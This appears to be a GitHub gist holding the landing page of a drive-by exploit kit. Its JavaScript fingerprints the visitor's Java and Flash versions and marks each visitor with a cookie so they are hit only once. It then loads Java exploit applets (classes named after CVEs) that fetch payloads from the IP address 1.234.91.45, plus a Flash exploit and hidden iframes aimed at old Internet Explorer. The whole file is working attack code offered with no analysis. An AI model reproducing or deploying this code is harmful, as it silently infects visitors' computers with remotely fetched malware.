Created
April 16, 2013 11:11
-
-
Save hellok/5395128 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script type="text/javascript" src="./deployJava.js"></script> | |
<script type="text/javascript" src="./swfobject.js"></script> | |
</head> | |
<body></body> | |
<script type="text/javascript"> | |
function Get() { | |
var Then = new Date() ; | |
Then.setTime(Then.getTime() + 7*24*60*60*1000); | |
var cookieString = new String(document.cookie); | |
var cookieHeader = "Cookie1=rbssf22s" ; | |
var beginPosition = cookieString.indexOf(cookieHeader); | |
if (beginPosition != -1){ | |
return 1; | |
} else { | |
document.cookie = "Cookie1=rbssf22s;expires="+ Then.toGMTString(); | |
return 0; | |
} | |
} | |
var AppletObject = document.createElement('applet'); | |
var BodyElement=document.createElement('body'); | |
var JavaVersion=deployJava.getJREs()+""; | |
var VersionParser=JavaVersion.split(","); | |
document.body.appendChild(BodyElement); | |
JavaVersion=parseInt(VersionParser[0].replace(/\.|\_/g,'')); | |
for(i=1;i<VersionParser.length;i++) | |
{ | |
tmp=parseInt(VersionParser[i].replace(/\.|\_/g,'')); | |
if (JavaVersion<tmp) | |
JavaVersion=tmp; | |
} | |
AppletObject.width="11"; | |
AppletObject.height="11"; | |
if(!Get()) { | |
if ((JavaVersion<=17015 && JavaVersion>=17000) || (JavaVersion<=16032 && JavaVersion>=16000) || (JavaVersion<=15033 && JavaVersion>=15000)) { | |
if ((JavaVersion<=16027 && JavaVersion>=16000) || (JavaVersion>=15000 && JavaVersion<=15031)) { | |
AppletObject.archive="./archive/HcIa2.jar"; | |
AppletObject.code="gogonaggogonagExp.class"; | |
AppletObject.setAttribute("dota","http://1.234.91.45/q.q?q=1"); | |
document.body.appendChild(AppletObject); | |
} else if ((JavaVersion<=17002 && JavaVersion>=17000) || (JavaVersion<=16030 && JavaVersion>=16000) || (JavaVersion<=15033 && JavaVersion>=15000)) { | |
AppletObject.archive="./archive/bzExj6.jar"; | |
AppletObject.code="GondadExx.Ohno.class"; | |
AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=2"); | |
AppletObject.setAttribute("bn","woyouyizhixiaomaolv"); | |
AppletObject.setAttribute("si","conglaiyebuqi"); | |
AppletObject.setAttribute("bs","748"); | |
document.body.appendChild(AppletObject); | |
} else if ((JavaVersion<=17003 && JavaVersion>=17000) || (JavaVersion<=16032 && JavaVersion>=16000) || (JavaVersion<=15032 && JavaVersion>=15000)) { | |
AppletObject.archive="./archive/BnkLbvY3.jar"; | |
AppletObject.code="gond1723.Gondattack.class"; | |
AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=3"); | |
AppletObject.setAttribute("bn","woyouyizhixiaomaolv"); | |
AppletObject.setAttribute("si","conglaiyebuqi"); | |
AppletObject.setAttribute("bs","748"); | |
document.body.appendChild(AppletObject); | |
} else if (JavaVersion<=17006 && JavaVersion>=17000) { | |
AppletObject.archive="./archive/iCNpns4.jar"; | |
AppletObject.code="cve2012xxxx.Gondvv.class"; | |
AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=4"); | |
AppletObject.setAttribute("bn","woyouyizhixiaomaolv"); | |
AppletObject.setAttribute("si","conglaiyebuqi"); | |
AppletObject.setAttribute("bs","748"); | |
document.body.appendChild(AppletObject); | |
} else if (JavaVersion<=17007 && JavaVersion>=17000) { | |
AppletObject.archive="./archive/JdtDFRW1.jar"; | |
AppletObject.code="gond20125076.Gondqq.class"; | |
AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=5"); | |
AppletObject.setAttribute("bn","woyouyizhixiaomaolv"); | |
AppletObject.setAttribute("si","conglaiyebuqi"); | |
AppletObject.setAttribute("bs","748"); | |
document.body.appendChild(AppletObject); | |
} else if (JavaVersion<=17010 && JavaVersion>=17000) { | |
AppletObject.archive="./archive/TolxrJG6.jar"; | |
AppletObject.code="xml20130422.XML20130422.class"; | |
AppletObject.setAttribute("xiaomaolv","http://1.234.91.45/q.q?q=6"); | |
AppletObject.setAttribute("bn","woyouyizhixiaomaolv"); | |
AppletObject.setAttribute("si","conglaiyebuqi"); | |
AppletObject.setAttribute("bs","748"); | |
document.body.appendChild(AppletObject); | |
} else if (JavaVersion<=17015 && JavaVersion>=17000) { | |
AppletObject.archive="./archive/FQxzUjYP.jar"; | |
AppletObject.code="yQCi.class"; | |
document.body.appendChild(AppletObject); | |
} | |
} else { | |
var CgOoSUU3=deconcept.SWFObjectUtil.getPlayerVersion(); | |
if((CgOoSUU3['major']==11 && CgOoSUU3['minor']==4 && CgOoSUU3['rev']==402 && (CgOoSUU3['buil']>= 265 && CgOoSUU3['buil']<= 287)) || (CgOoSUU3['major']==11 && CgOoSUU3['minor']==5 && CgOoSUU3['rev']==502 && (CgOoSUU3['buil']>= 110 && CgOoSUU3['buil']<= 146))) { | |
document.writeln("<img src='./archive/GwDFO7.swf'><\/img>"); | |
setTimeout("document.writeln(\"<embed width=100 height=0 src='./archive/GwDFO7.swf'><\\/embed>\");",2000); | |
} else { | |
var IeVersion = window.navigator.userAgent.toLowerCase(); | |
if ((IeVersion.indexOf('msie 6') > -1)||(IeVersion.indexOf('msie 7') > -1)) { | |
document.writeln("<iframe src='xmlcoreOld.html' witdh='1' height='1'><\/iframe>"); | |
} else if((IeVersion.indexOf('msie 8') > -1) && (navigator.userAgent.indexOf('Windows NT 5.1') > -1) && (navigator.browserLanguage.indexOf('ko') > -1)){ | |
document.writeln("<iframe src='xml.html' witdh='1' height='1'><\/iframe>"); | |
// document.writeln("<iframe src='xmlcoreNew.html' witdh='1' height='1'><\/iframe>"); | |
} | |
setTimeout("document.writeln(\"<iframe src='4792.html' witdh='1' height='1'><\\/iframe>\");",2000); | |
setTimeout("document.writeln(\"<iframe src='payload.html' witdh='1' height='1'><\\/iframe>\");",3000); | |
} | |
} | |
} else { | |
location.href="about:blank"; | |
} | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment